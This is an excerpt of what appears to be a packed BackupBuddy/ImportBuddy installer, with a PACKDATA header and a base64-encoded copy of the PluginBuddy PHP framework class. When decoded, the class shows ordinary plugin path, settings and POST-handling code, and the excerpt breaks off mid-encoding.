###PACKDATA,FILE_END,/lib/cpanel/index.php,importbuddy/lib/cpanel/index.php
###PACKDATA,FILE_START,/pluginbuddy/_pluginbuddy.php,importbuddy/pluginbuddy/_pluginbuddy.php
PD9waHAKLyoqCiAqIEZyYW1ld29yayBmb3IgaGFuZGxpbmcgYWxsIHBsdWdpbiBmdW5jdGlvYWxpdHksIGFyY2hpdGVjdHVyZSwgZXRjLgogKiAkc2V0dGluZ3MgdmFyaWFibGUgaXMgZXhwZWN0ZWQgdG8gYmUgaW4gdGhlIHNhbWUgc2NvcGUgb2YgdGhpcyBmaWxlIGFuZCBwcmV2aW91c2x5IHBvcHVsYXRlZCB3aXRoIGFsbCBwbHVnaW4gc2V0dGluZ3MuCiAqCiAqIEBhdXRob3IgRHVzdGluIEJvbHRvbgogKiBAcGFja2FnZSBCYWNrdXBCdWRkeQogKiBAc3VicGFja2FnZSBQbHVnaW5CdWRkeQogKi8KCi8qKgogKiBQbHVnaW5CdWRkeSBDbGFzcwogKi8KY2xhc3MgcGJfYmFja3VwYnVkZHkgewoKCS8qKgoJICogUGx1Z2luQnVkZHkgRnJhbWV3b3JrIFZlcnNpb24KCSAqCgkgKiBAdmFyIHN0cmluZwoJICovCglwcml2YXRlIHN0YXRpYyAkcGJmcmFtZXdvcmtfdmVyc2lvbiA9ICcxLjAuMjgnOwoKCS8qKgoJICogTWljcm90aW1lIHdoZW4gaW5pdCgpIHdhcyBmaXJzdCBydW4uCgkgKgoJICogQHZhciBmbG9hdAoJICovCglwdWJsaWMgc3RhdGljICRzdGFydF90aW1lOwoKCS8qKgoJICogU3RvcmVzIGFsbCBvcHRpb25zIGZvciBwbHVnaW4gdGhhdCB3aWxsIGNoYW5nZSBzdWNoIGFzIHVzZXIgZGVmaW5lZCBzZXR0aW5ncy4KCSAqCgkgKiBAdmFyIGFycmF5CgkgKi8KCXB1YmxpYyBzdGF0aWMgJG9wdGlvbnM7CgoJLyoqCgkgKiBVc2VyIGludGVyZmFjZSBjbGFzcyBmb3IgcmFwaWRseSBjb25zdHJ1Y3RpbmcgV1Atc3R5bGVkIEdVSXMuCgkgKgoJICogUkVNT1ZFRC4gTm93IGFkZGVkIGF0IHJ1bnRpbWUgd2hlbiBpbml0X2NsYXNzX2NvbnRyb2xsZXIoKSBjYWxsZWQKCSAqCgkgKiBAdmFyIG9iamVjdAoJICovCglwdWJsaWMgc3RhdGljICR1aTsKCgkvKioKCSAqIENsYXNzIGZvciBtYW5pcHVsYXRpbmcgJiBpbnRlcmZhY2luZyBmaWxlIHN5c3RlbS4KCSAqCgkgKiBAdmFyIG9iamVjdAoJICovCglwdWJsaWMgc3RhdGljICRmaWxlc3lzdGVtOwoKCS8qKgoJICogQ2xhc3MgZm9yIGZvcm1hdHRpbmcgZGF0YSBvciB0ZXh0IGluIGh1bWFuIGZyaWVuZGx5IGZvcm1zLgoJICoKCSAqIEB2YXIgb2JqZWN0CgkgKi8KCXB1YmxpYyBzdGF0aWMgJGZvcm1hdDsKCgkvKioKCSAqIEFycmF5IGhvbGRlciBmb3IgdXNlci1kZWZpbmVkIGNsYXNzZXMgbmVlZGVkIGdsb2JhbGx5IGJ5IHBsdWdpbi4gU2V0L2dldCB3aXRoICRjbGFzc1snY2xhc3Nfc2x1ZyddLgoJICoKCSAqIEB2YXIgYXJyYXkKCSAqLwoJcHVibGljIHN0YXRpYyAkY2xhc3NlcyA9IGFycmF5KCk7CgoJLyoqCgkgKiBBcnJheSBob2xkZXIgZm9yIHVzZXItZGVmaW5lZCB2YXJpYWJsZXMgbmVlZGVkIGdsb2JhbGx5IGJ5IHBsdWdpbi4KCSAqIFNldC9nZXQgd2l0aCAkdmFyaWFibGVzWyd2YXJfbmFtZSddLiBVc2VmdWwgZm9yIHRoaW5ncyBzdWNoIGFzIGFuIGluc3RhbmNlIGNvdW50ZXIgdGhhdCBpbmNyZW1lbnRzLgoJICoKCSAqIEB2YXIgYXJyYXkKCSAqLwoJcHVibGljIHN0YXRpYyAkdmFyaWFibGVzID0gYXJyYXkoKTsKCgoJLyoqCgkgKiBEZWZhdWx0IGZyYW1ld29yayBzZXR0aW5ncyBmb3IgdGhpcyBwbHVnaW4uCgkgKiBOT1QgdGhlIHNhbWUgYXMgb3B0aW9ucy4KCSAqCgkgKiBBY2Nlc3MgdmlhIHNlbGY6OnNldHRpbmdzKCkuCgkgKgoJICogQHZhciBhcnJheQoJICovCglwcml2YXRlIHN0YXRpYyAkX3NldHRpbmdzID0gYXJyYXkoCgkJJ3NsdWcnICAgICAgICAgICAgPT4gJycsCgkJJ3NlcmllcycgICAgICAgICAgPT4gJycsCgkJJ2RlZmF1bHRfb3B0aW9ucycgPT4gJycsCgkJJ2xvZ19zZXJpYWwnICAgICAgPT4gJycsCgkJJ2luaXQnICAgICAgICAgICAgPT4gJycsCgkpOwoKCS8qKgoJICogSG9sZHMgYWRtaW4gcGFnZSBzZXR0aW5ncyBmb3IgYWRkaW5nIHRvIHRoZSBhZG1pbiBtZW51IG9uIGEgaG9vayBsYXRlci4KCSAqCgkgKiBAdmFyIGFycmF5CgkgKi8KCXByaXZhdGUgc3RhdGljICRfcGFnZV9zZXR0aW5nczsKCgkvKioKCSAqIFNlcmlhbCBmb3Igd3JpdGluZyB0aGUgc3RhdHVzIGZvciB0aGlzIHBhZ2UgbG9hZC4KCSAqCgkgKiBAdmFyIHN0cmluZwoJICovCglwdWJsaWMgc3RhdGljICRfc3RhdHVzX3NlcmlhbCA9ICcnOwoKCS8qKgoJICogV2hldGhlciBvciBub3QgZmx1c2goKSBoYXMgYmVlbiBjYWxsZWQgeWV0IG9yIG5vdC4KCSAqCgkgKiBAdmFyIGJvb2wKCSAqLwoJcHJpdmF0ZSBzdGF0aWMgJF9oYXNfZmx1c2hlZCA9IGZhbHNlOwoKCS8qKgoJICogQ29udHJvbGxlciBvYmplY3RzLiBTZWU6IC9jb250cm9sbGVycy8gZGlyZWN0b3J5LgoJICovCgoJLyoqCgkgKiBDb250cm9sbGVyIGZvciBXb3JkUHJlc3MgYWN0aW9ucy4KCSAqCgkgKiBAdmFyIG9iamVjdAoJICovCglwcml2YXRlIHN0YXRpYyAkX2FjdGlvbnM7CgoJLyoqCgkgKiBDb250cm9sbGVyIGZvciBXb3JkUHJlc3MgQUpBWCBhY3Rpb25zLgoJICoKCSAqIEB2YXIgb2JqZWN0CgkgKi8KCXB1YmxpYyBzdGF0aWMgJF9hamF4OwoKCS8qKgoJICogQ29udHJvbGxlciBmb3IgV29yZFByZXNzIHNjaGVkdWxlZCBjcm9ucy4KCSAqCgkgKiBAdmFyIG9iamVjdAoJICovCglwcml2YXRlIHN0YXRpYyAkX2Nyb247CgoJLyoqCgkgKiBDb250cm9sbGVyIGZvciBXb3JkUHJlc3MgYWRtaW4gZGFzaGJvYXJkIGl0ZW1zLgoJICoKCSAqIEB2YXIgb2JqZWN0CgkgKi8KCXByaXZhdGUgc3RhdGljICRfZGFzaGJvYXJkOwoKCS8qKgoJICogQ29udHJvbGxlciBmb3IgV29yZFByZXNzIGZpbHRlcnMuCgkgKgoJICogQHZhciBvYmplY3QKCSAqLwoJcHJpdmF0ZSBzdGF0aWMgJF9maWx0ZXJzOwoKCS8qKgoJICogQ29udHJvbGxlciBmb3IgV29yZFByZXNzIHNob3J0Y29kZXMuCgkgKgoJICogQHZhciBvYmplY3QKCSAqLwoJcHJpdmF0ZSBzdGF0aWMgJF9zaG9ydGNvZGVzOwoKCS8qKgoJICogQ29udHJvbGxlciBmb3IgV29yZFByZXNzIHdpZGdldHMuCgkgKi8KCS8vIHByaXZhdGUgc3RhdGljICRfd2lkZ2V0czsKCgkvKioKCSAqIENvbnRyb2xsZXIgZm9yIFdvcmRQcmVzcyBwYWdlcy4gU2VlIC9jb250cm9sbGVycy9wYWdlcy8gZGlyZWN0b3J5LgoJICoKCSAqIEB2YXIgb2JqZWN0CgkgKi8KCXByaXZhdGUgc3RhdGljICRfcGFnZXM7CgoJLyoqCgkgKiBMb2NhbCBwYXRoIHRvIHBsdWdpbi4KCSAqIEV4OiAvdXNlcnMvcGIvd3d3L3dwLWNvbnRlbnQvcGx1Z2lucy9teV9wbHVnaW4gKG5vIHRyYWlsaW5nIHNsYXNoKQoJICoKCSAqIEBzZWUgcGx1Z2luYnVkZHk6cGx1Z2luX3BhdGgoKQoJICoKCSAqIEB2YXIgc3RyaW5nCgkgKi8KCXByaXZhdGUgc3RhdGljICRfcGx1Z2luX3BhdGg7CgoJLyoqCgkgKiBVUkwgdG8gcGx1Z2luIGRpcmVjdG9yeS4KCSAqIEV4OiBodHRwOi8vcGx1Z2luYnVkZHkuY29tL3dwLWNvbnRlbnQvcGx1Z2lucy9teV9wbHVnaW4vICh3aXRoIHRyYWlsaW5nIHNsYXNoKQoJICoKCSAqIEBzZWUgc2VsZjo6cGx1Z2luX3VybCgpCgkgKgoJICogQHZhciBzdHJpbmcKCSAqLwoJcHJpdmF0ZSBzdGF0aWMgJF9wbHVnaW5fdXJsOwoKCS8qKgoJICogUmV0dXJucyBVUkwgdG8gdGhlIGN1cnJlbnQgYWRtaW4gcGFnZSBpZiBvbiBhIHBsdWdpbiBwYWdlLgoJICogRXg6IGh0dHA6Ly9wbHVnaW5idWRkeS5jb20vd3AtYWRtaW4vaW5kZXgucGhwP3BhZ2U9cGJfbXlwbHVnaW4KCSAqCgkgKiBAc2VlIHNlbGY6OnBhZ2VfbGluaygpCgkgKgoJICogQHZhciBzdHJpbmcKCSAqLwoJcHJpdmF0ZSBzdGF0aWMgJF9zZWxmX2xpbms7CgoJLyoqCgkgKiBESVNBQkxFRC4gVXNpbmcgY3JlYXRlX2Z1bmN0aW9uKCkgdG8gYnlwYXNzIG5lZWQgZm9yIHRoaXMuIEN1cnJlbnRseSBvbmx5IGhvbGRpbmcgY2FsbGJhY2sgZm9yIHRoZSBhZG1pbiBtZW51LgoJICogTm90ZTogVHJ5IG5vdCB0byB1c2UgY3JlYXRlX2Z1bmN0aW9uKCkuCgkgKgoJICogQHNlZSBwbHVnaW5idWRkeV9jYWxsYmFja3MgY2xhc3MKCSAqCgkgKiBAdmFyIGFycmF5CgkgKi8KCS8vIHByaXZhdGUgc3RhdGljICRfY2FsbGJhY2tzOwoKCS8qKgoJICogSG9sZHMgdGFnIGFuZCB0aXRsZSBmb3IgdW5jb25zdHJ1Y3RlZCBkYXNoYm9hcmQgd2lkZ2V0cyB0ZW1wb3JhcmlseS4KCSAqCgkgKiBAdmFyIGFycmF5CgkgKi8KCXB1YmxpYyBzdGF0aWMgJF9kYXNoYm9hcmRfd2lkZ2V0czsKCgkvKioKCSAqIENvbnRhaW5zIHVwZGF0ZXIgb2JqZWN0IChpZiBlbmFibGVkKSBvZiB0aGUgbW9zdCB1cCB0byBkYXRlIHVwZGF0ZXIgZm91bmQuIFBvcHVsYXRlZCBvbiBpbml0IGhvb2suCgkgKgoJICogQHZhciBvYmplY3QKCSAqLwoJcHVibGljIHN0YXRpYyAkX3VwZGF0ZXI7CgoJLyoqCgkgKiBJZiB1bmFibGUgdG8gd3JpdGUgdG8gbG9nIHRoZW4gc2tpcCBhbGwgZnV0dXJlIGF0dGVtcHRzLgoJICoKCSAqIEB2YXIgYm9vbAoJICovCglwcml2YXRlIHN0YXRpYyAkX3NraXBsb2c7CgoJLyoqCgkgKiBDb25zdHJ1Y3RvciBmb3IgdGhpcyBzdGF0aWMgY2xhc3MuCgkgKgoJICogQ2FsbGVkIGZyb20gdGhlIHBsdWdpbidzIGluaXQgKG9yIG90aGVyIGRlZmluZWQgaW4gcGJfYmFja3VwYnVkZHk6OnNldHRpbmdzKCAnaW5pdCcgKSkgZmlsZS4KCSAqCgkgKiBAcGFyYW0gYXJyYXkgICRwbHVnaW5idWRkeV9zZXR0aW5ncyAgQXJyYXkgb2YgcGx1Z2luIHNldHRpbmdzIHN1Y2ggYXMgc2x1ZywgZGVmYXVsdCBvcHRpb25zLgoJICogQHBhcmFtIHN0cmluZyAkcGx1Z2luYnVkZHlfaW5pdCAgICAgIEluaXQgZmlsZS4KCSAqLwoJcHVibGljIHN0YXRpYyBmdW5jdGlvbiBpbml0KCAkcGx1Z2luYnVkZHlfc2V0dGluZ3MsICRwbHVnaW5idWRkeV9pbml0ID0gJ2luaXQucGhwJyApIHsKCQlzZWxmOjokc3RhcnRfdGltZSA9IG1pY3JvdGltZSggdHJ1ZSApOwoJCXNlbGY6OiRfc2V0dGluZ3MgID0gYXJyYXlfbWVyZ2UoIChhcnJheSkgc2VsZjo6JF9zZXR0aW5ncywgKGFycmF5KSAkcGx1Z2luYnVkZHlfc2V0dGluZ3MgKTsgLy8gTWVyZ2Ugc2V0dGluZ3Mgb3ZlciBmcmFtZXdvcmsgZGVmYXVsdHMuCgoJCWlmICggZnVuY3Rpb25fZXhpc3RzKCAncGx1Z2luX2Rpcl91cmwnICkgKSB7IC8vIFVSTCBhbmQgcGF0aCBmdW5jdGlvbnMgYXZhaWxhYmxlIChub3QgaW4gSW1wb3J0QnVkZHkgYnV0IGluc2lkZSBXb3JkUHJlc3MpLgoJCQlzZWxmOjokX3BsdWdpbl9wYXRoID0gcnRyaW0oIHBsdWdpbl9kaXJfcGF0aCggZGlybmFtZSggX19GSUxFX18gKSApLCAnL1xcJyApOwoJCQlzZWxmOjokX3BsdWdpbl91cmwgID0gcnRyaW0oIHBsdWdpbl9kaXJfdXJsKCBkaXJuYW1lKCBfX0ZJTEVfXyApICksICcvXFwnICk7CgkJfSBlbHNlIHsgLy8gR2VuZXJhdGUgVVJMIGFuZCBwYXRocyBvbGQgd2F5IChvbGQgV29yZFByZXNzIHZlcnNpb25zIG9yIGluc2lkZSBJbXBvcnRCdWRkeSkuCgkJCXNlbGY6OiRfcGx1Z2luX3BhdGggPSBkaXJuYW1lKCBkaXJuYW1lKCBfX0ZJTEVfXyApICk7CgkJCSRyZWxhdGl2ZV9wYXRoICAgICAgPSBsdHJpbSggc3RyX3JlcGxhY2UoICdcXCcsICcvJywgc3RyX3JlcGxhY2UoIHJ0cmltKCBBQlNQQVRILCAnXFxcLycgKSwgJycsIHNlbGY6OiRfcGx1Z2luX3BhdGggKSApLCAnXFxcLycgKTsKCQkJaWYgKCBwYl9pc19zdGFuZGFsb25lKCkgKSB7CgkJCQlzZWxmOjokX3BsdWdpbl91cmwgPSAnaW1wb3J0YnVkZHknOyAvLyBSZWxhdGl2ZSBpbXBvcnRidWRkeSBwYXRoLgoJCQl9IGVsc2UgeyAvLyBOb3JtYWwgZnVsbCBwYXRoLgoJCQkJc2VsZjo6JF9wbHVnaW5fdXJsID0gc2l0ZV91cmwoKSAuICcvJyAuIGx0cmltKCAkcmVsYXRpdmVfcGF0aCwgJy8nICk7CgkJCQlpZiAoIGlzc2V0KCAkX1NFUlZFUlsnSFRUUFMnXSApICYmICdvbicgPT09ICRfU0VSVkVSWydIVFRQUyddICkgeyAvLyBIYW5kbGUgaHR0cHMgVVJMcyBwcm9wZXJseS4KCQkJCQlzZWxmOjokX3BsdWdpbl91cmwgPSBzdHJfcmVwbGFjZSggJ2h0dHA6Ly8nLCAnaHR0cHM6Ly8nLCBzZWxmOjokX3BsdWdpbl91cmwgKTsKCQkJCX0KCQkJfQoJCX0KCgkJaWYgKCBpc3NldCggJF9HRVRbJ3BhZ2UnXSApICkgeyAvLyBJZiBpbiBhbiBhZG1pbiBwYWdlIHRoZW4gYXBwZW5kIHBhZ2UgcXVlcnlzdHJpbmcuCgkJCSRhcnIgICAgICAgICAgICAgID0gZXhwbG9kZSggJz8nLCAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSApOyAvLyBhdm9pZCByZWZlcmVuY2UgZXJyb3IgYnkgc2V0dGluZyBoZXJlLgoJCQlzZWxmOjokX3NlbGZfbGluayA9IGFycmF5X3NoaWZ0KCAkYXJyICkgLiAnP3BhZ2U9JyAuIGh0bWxlbnRpdGllcyggJF9HRVRbJ3BhZ2UnXSApOwoJCQl1bnNldCggJGFyciApOwoJCX0KCgkJLy8gU2V0IHRoZSBpbml0IGZpbGUuCgkJc2VsZjo6JF9zZXR0aW5nc1snaW5pdCddID0gJHBsdWdpbmJ1ZGR5X2luaXQ7CgoJCS8vIGZpbGVzeXN0ZW0gY2xhc3MgY29udHJvbGxlci4KCQlpZiAoIGlzc2V0KCBzZWxmOjokX3NldHRpbmdzWydtb2R1bGVzJ11bJ2ZpbGVzeXN0ZW0nXSApICYmIHRydWUgPT09IHNlbGY6OiRfc2V0dGluZ3NbJ21vZHVsZXMnXVsnZmlsZXN5c3RlbSddICkgewoJCQlzZWxmOjppbml0X2NsYXNzX2NvbnRyb2xsZXIoICdmaWxlc3lzdGVtJyApOwoJCX0KCQkvLyBmb3JtYXQgY2xhc3MgY29udHJvbGxlci4KCQlpZiAoIGlzc2V0KCBzZWxmOjokX3NldHRpbmdzWydtb2R1bGVzJ11bJ2Zvcm1hdCddICkgJiYgdHJ1ZSA9PT0gc2VsZjo6JF9zZXR0aW5nc1snbW9kdWxlcyddWydmb3JtYXQnXSApIHsKCQkJc2VsZjo6aW5pdF9jbGFzc19jb250cm9sbGVyKCAnZm9ybWF0JyApOwoJCX0KCgkJaWYgKCBpc19hZG1pbigpICkgewoKCQkJLy8gTG9hZCBVSSBzeXN0ZW0uCgkJCXNlbGY6OmluaXRfY2xhc3NfY29udHJvbGxlciggJ3VpJyApOwoKCQkJLy8gTG9hZCBhY3RpdmF0aW9uIGhvb2sgaWYgaW4gYWRtaW4gYW5kIGFjdGl2YXRpb24gZmlsZSBleGlzdHMuCgkJCWlmICggZmlsZV9leGlzdHMoIHNlbGY6OiRfcGx1Z2luX3BhdGggLiAnL2NvbnRyb2xsZXJzL2FjdGl2YXRpb24ucGhwJyApICkgewoJCQkJcmVnaXN0ZXJfYWN0aXZhdGlvbl9ob29rKCBzZWxmOjokX3BsdWdpbl9wYXRoIC4gJy8nIC4gcGJfYmFja3VwYnVkZHk6OnNldHRpbmdzKCAnaW5pdCcgKSwgYXJyYXkoICdwYl9iYWNrdXBidWRkeScsICdsb2FkX2FjdGl2YXRpb25fY29udHJvbGxlcicgKSApOyAvLyBSdW4gc29tZSBjb2RlIHdoZW4gcGx1Z2luIGlzIGFjdGl2YXRlZCBpbiBkYXNoYm9hcmQuCgkJCX0KCQl9CgoJfSAvLyBFbmQgaW5pdCgpLgoKCS8qKgoJICogTG9hZHMgQWN0aXZhdGlvbiBDb250cm9sbGVyCgkgKi8KCXB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gbG9hZF9hY3RpdmF0aW9uX2NvbnRyb2xsZXIoKSB7CgkJLy8gUmVwbGFjZSBhIHBhdGggc3RhcnRpbmcgd2l0aCBcXCB0byBiZSBcXFxcIHNvIHRoYXQgd2hlbiBjcmVhdGVfZnVuY3Rpb24gcGFyc2VzIHRoZSBiYWNrc2xhc2ggaXQgd2lsbCByZXR1cm4gYmFjayB0byBcXC4KCQkkZXNjYXBlZF9wbHVnaW5fcGF0aCA9IHByZWdfcmVwbGFjZSggJyNeXFxcXFxcXFwjJywgJ1xcXFxcXFxcXFxcXFxcXFwnLCBzZWxmOjokX3BsdWdpbl9wYXRoICk7CgkJcmVxdWlyZV9vbmNlICRlc2NhcGVkX3BsdWdpbl9wYXRoIC4gJy9jb250cm9sbGVycy9hY3RpdmF0aW9uLnBocCc7Cgl9CgoJLyoqCgkgKiBSZXR1cm5zIGxvY2FsIHBhdGggdG8gcGx1Z2luLkV4OiAvdXNlcnMvcGIvd3d3L3dwLWNvbnRlbnQvcGx1Z2lucy9teV9wbHVnaW4gKG5vIHRyYWlsaW5nIHNsYXNoKQoJICoKCSAqIEByZXR1cm4gc3RyaW5nIFBsdWdpbiBwYXRoIGRpcmVjdG9yeSAobm8gdHJhaWxpbmcgc2xhc2gpLgoJICovCglwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIHBsdWdpbl9wYXRoKCkgewoJCXJldHVybiBzZWxmOjokX3BsdWdpbl9wYXRoOwoJfSAvLyBFbmQgcGx1Z2luX3BhdGgoKS4KCgkvKioKCSAqIFJldHVybnMgVVJMIHRvIHBsdWdpbiBkaXJlY3RvcnkuCgkgKiBFeDogaHR0cDovL3BsdWdpbmJ1ZGR5LmNvbS93cC1jb250ZW50L3BsdWdpbnMvbXlfcGx1Z2luLyAod2l0aCB0cmFpbGluZyBzbGFzaCkKCSAqCgkgKiBAcmV0dXJuIHN0cmluZyAgUGx1Z2luIHBhdGggVVJMICh3aXRoIHRyYWlsaW5nIHNsYXNoKS4KCSAqLwoJcHVibGljIHN0YXRpYyBmdW5jdGlvbiBwbHVnaW5fdXJsKCkgewoJCXJldHVybiBzZWxmOjokX3BsdWdpbl91cmw7Cgl9IC8vIEVuZCBwbHVnaW5fdXJsKCkuCgoJLyoqCgkgKiBSZXR1cm5zIFVSTCB0byB0aGUgY3VycmVudCBhZG1pbiBwYWdlIGlmIG9uIGEgcGx1Z2luIHBhZ2UuCgkgKiBFeDogaHR0cDovL3BsdWdpbmJ1ZGR5LmNvbS93cC1hZG1pbi9pbmRleC5waHA/cGFnZT1wYl9teXBsdWdpbgoJICoKCSAqIEByZXR1cm4gc3RyaW5nICBQbHVnaW4gcGFnZSBVUkwgKHdpdGggdHJhaWxpbmcgc2xhc2gpLgoJICovCglwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIHBhZ2VfdXJsKCkgewoJCXJldHVybiBzZWxmOjokX3NlbGZfbGluazsKCX0gLy8gRW5kIHBhZ2VfdXJsKCkuCgoJLyoqCgkgKiBSZXR1cm5zIHRoZSBhZG1pbi1zaWRlIEFKQVggVVJMLiBQcm9wZXJseSBoYW5kbGVzIHByZWZpeGluZyBhbmQgZXZlcnl0aGluZyBmb3IgUEIgZnJhbWV3b3JrLgoJICoKCSAqIEB0b2RvIHByb3ZpZGUgbm9uLWFkbWluLXNpZGUgZnVuY3Rpb25hbGl0eT8KCSAqCgkgKiBAcGFyYW0gc3RyaW5nICR0YWcgIFRhZyAvIHNsdWcgb2YgQUpBWC4KCSAqCgkgKiBAcmV0dXJuIHN0cmluZyAgVVJMIGZvciBBSkFYLgoJICovCglwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIGFqYXhfdXJsKCAkdGFnICkgewoJCXJldHVybiBhZG1pbl91cmwoICdhZG1pbi1hamF4LnBocD9hY3Rpb249cGJfJyAuIHNlbGY6OnNldHRpbmdzKCAnc2x1ZycgKSAuICdfYmFja3VwYnVkZHkmZnVuY3Rpb249JyAuICR0YWcgKTsKCX0gLy8gRW5kIGFqYXhfdXJsKCkuCgoJLyoqCgkgKiBSZXRyaWV2ZXMgbWlzYyBwbHVnaW4gc2V0dGluZ3MgYm90aCBwYXNzZWQgZnJvbSB0aGUgaW5pdCBmaWxlICggZGVmaW5lZCBpbiBwYl9iYWNrdXBidWRkeTo6c2V0dGluZ3MoICdpbml0JyApICkgaW50byBzZWxmOjokX3NldHRpbmdzCgkgKgoJICogQWxzbyBwbHVnaW4gc2V0dGluZ3MgZGVmaW5lZCBpbiB0aGUgaW5pdCBmaWxlICggZGVmaW5lZCBpbiBwYl9iYWNrdXBidWRkeTo6c2V0dGluZ3MoICdpbml0JyApICkgaGVhZGVyIGluY2x1ZGluZzoKCSAqIG5hbWUsIHRpdGxlLCBkZXNjcmlwdGlvbiwgYXV0aG9yLCBhdXRob3J1cmksIHZlcnNpb24sIHBsdWdpbnVyaSBPUiB1cmwsIHRleHRkb21haW4sIGRvbWFpbnBhdGgsIG5ldHdvcmsuCgkgKgoJICogQHNlZSBzZWxmOjppbml0KCkKCSAqCgkgKiBAcGFyYW0gc3RyaW5nICR0eXBlICBUeXBlIG9mIHNldHRpbmcgdG8gcmV0cmlldmUuCgkgKgoJICogQHJldHVybiBtaXhlZCBWYWx1ZSBhc3NvY2lhdGVkIHdpdGggdGhhdCBzZXR0aW5ncy4gTnVsbCBpZiBub3QgZm91bmQuCgkgKi8KCXB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gc2V0dGluZ3MoICR0eXBlICkgewoJCWlmICggaXNzZXQoIHNlbGY6OiRfc2V0dGluZ3NbICR0eXBlIF0gKSApIHsKCQkJcmV0dXJuIHNlbGY6OiRfc2V0dGluZ3NbICR0eXBlIF07CgkJfQoKCQlpZiAoIHBiX2lzX3N0YW5kYWxvbmUoKSApIHsKCQkJaWYgKCAndmVyc2lvbicgPT0gJHR5cGUgKSB7CgkJCQlyZXR1cm4gUEJfQkJfVkVSU0lPTjsKCQkJfQoJCX0KCgkJLy8gVGhlIHZhcmlhYmxlIGRvZXMgbm90IGV4aXN0IHNvIGNoZWNrIHRvIHNlZSBpZiBpdCBjYW4gYmUgZXh0cmFjdGVkIGZyb20gdGhlIHBsdWdpbidzIGhlYWRlci4KCQlpZiAoICEgaXNzZXQoIHNlbGY6OiRfc2V0dGluZ3NbJ25hbWUnXSApIHx8ICcnID09IHNlbGY6OiRfc2V0dGluZ3NbJ25hbWUnXSApIHsKCQkJaWYgKCAhIGZ1bmN0aW9uX2V4aXN0cyggJ2dldF9wbHVnaW5fZGF0YScgKSApIHsKCQkJCXJlcXVpcmVfb25jZSBBQlNQQVRIIC4gJ3dwLWFkbWluL2luY2x1ZGVzL3BsdWdpbi5waHAnOwoJCQl9CgkJCSRpbmZvICAgICAgICA9IGFycmF5X2NoYW5nZV9rZXlfY2FzZSggZ2V0X3BsdWdpbl9kYXRhKCBzZWxmOjokX3BsdWdpbl9wYXRoIC4gJy8nIC4gcGJfYmFja3VwYnVkZHk6OnNldHRpbmdzKCAnaW5pdCcgKSwgZmFsc2UsIGZhbHNlICksIENBU0VfTE9XRVIgKTsKCQkJJGluZm9bJ3VybCddID0gJGluZm9bJ3BsdWdpbnVyaSddOwoJCQl1bnNldCggJGluZm9bJ3BsdWdpbnVyaSddICk7CgkJCXNlbGY6OiRfc2V0dGluZ3MgPSBhcnJheV9tZXJnZSggc2VsZjo6JF9zZXR0aW5ncywgJGluZm8gKTsKCQl9CgoJCS8vIFRyeSB0byByZXR1cm4gc2V0dGluZyBvdGhlcndpc2UgdGhyb3cgYW4gZXJyb3IuCgkJaWYgKCBpc3NldCggc2VsZjo6JF9zZXR0aW5nc1sgJHR5cGUgXSApICkgewoJCQlyZXR1cm4gc2VsZjo6JF9zZXR0aW5nc1sgJHR5cGUgXTsKCQl9IGVsc2UgewoJCQlyZXR1cm4gJ3tVbmtub3duIHNldHRpbmdzKCkgdmFyaWFibGUgYCcgLiAkdHlwZSAuICdgfSc7CgkJfQoJfSAvLyBFbmQgc2V0dGluZ3MoKS4KCgkvKioKCSAqIFJldHVybnMgd2hldGhlciBhIG5vdCBhIHZhcmlhYmxlIGlzIGJsYW5rIChlbXB0eSBzdHJpbmcsIG51bGwsIHVuZGVmaW5lZCkgb3Igbm90LgoJICogQmUgc3VyZSB0byBzdXBwcmVzcyBlcnJvcnMgaWYgdXNpbmcgdGhpcyBmdW5jdGlvbiB3aGVyZSBpbmRleGVzIG1heSBiZSBub24tZXhpc3RhbnQgd2l0aCBAIHNpZ24uCgkgKgoJICogQHBhcmFtIG1peGVkICR2YWx1ZSAgVmFyaWFibGUgdG8gZGV0ZXJtaW5lIGlmIGl0IGlzIGJsYW5rIG9yIG5vdC4KCSAqCgkgKiBAcmV0dXJuIGJvb2xlYW4gIFRydWUgaWYgdmFyaWFibGUgaXMgc2V0IGFuZCBpcyBub3QgYW4gZW1wdHkgc3RyaW5nLgoJICovCglwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIGJsYW5rKCAkdmFsdWUgKSB7CgkJcmV0dXJuIGVtcHR5KCAkdmFsdWUgKSAmJiAhIGlzX251bWVyaWMoICR2YWx1ZSApOwoJfSAvLyBFbmQgYmxhbmsoKS4KCgkvKioKCSAqIFJldHVybnMgJF9QT1NUIHZhbHVlIGlmIGF2YWlsYWJsZSwgZWxzZSByZXR1cm5zIGEgYmxhbmsuIFByZXZlbnRzIGhhdmluZyB0byBjaGVjayBpc3NldCBmaXJzdC4gU3RyaXBzIFdQJ3MgYWRkZWQgc2xhc2hlcy4KCSAqCgkgKiBAcGFyYW0gc3RyaW5nICR2YWx1ZSAgS2V5IG9mIFBPU1QgdmFyaWFibGUgdG8gY2hlY2suCgkgKgoJICogQHJldHVybiBtaXhlZCAgVmFsdWUgb2YgUE9TVCB2YXJpYWJsZSBpZiBzZXQuIElmIG5vdCBzZXQgcmV0dXJucyBhIGJsYW5rIHN0cmluZyAnJy4KCSAqLwoJcHVibGljIHN0YXRpYyBmdW5jdGlvbiBfUE9TVCggJHZhbHVlID0gbnVsbCApIHsKCQlpZiAoICcnID09ICR2YWx1ZSB8fCBudWxsID09ICR2YWx1ZSApIHsgLy8gUmVxdWVzdGluZyAkX1BPU1QgdmFyaWFibGUuCgkJCWlmICggcGJfaXNfc3RhbmRhbG9uZSgpICYmICEgZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSApIHsgLy8gSWYgaW4gSW1wb3J0QnVkZHkgbW9kZSBBTkQgbWFnaWMgcXVvdGVzIGlzIG5vdCBvbiwgZG9udCBzdHJpcC4gV1AgZXNjYXBlcyBmb3IgdXMgaWYgbWFnaWMgcXVvdGVzIGFyZSBvZmYuCgkJCQlyZXR1cm4gJF9QT1NUOwoJCQl9CgkJCXJldHVybiBzdHJpcHNsYXNoZXNfZGVlcCggJF9QT1NUICk7CgkJfSBlbHNlIHsKCQkJJHBvc3RfdmFsdWUgPSAnJzsKCQkJaWYgKCBpc3NldCggJF9QT1NUWyAkdmFsdWUgXSApICkgewoJCQkJJHBvc3RfdmFsdWUgPSAkX1BPU1RbICR2YWx1ZSBdOwoJCQl9CgkJCWlmICggcGJfaXNfc3RhbmRhbG9uZSgpICYmICEgZ2V0X21hZ2ljX3F1b3Rlc19n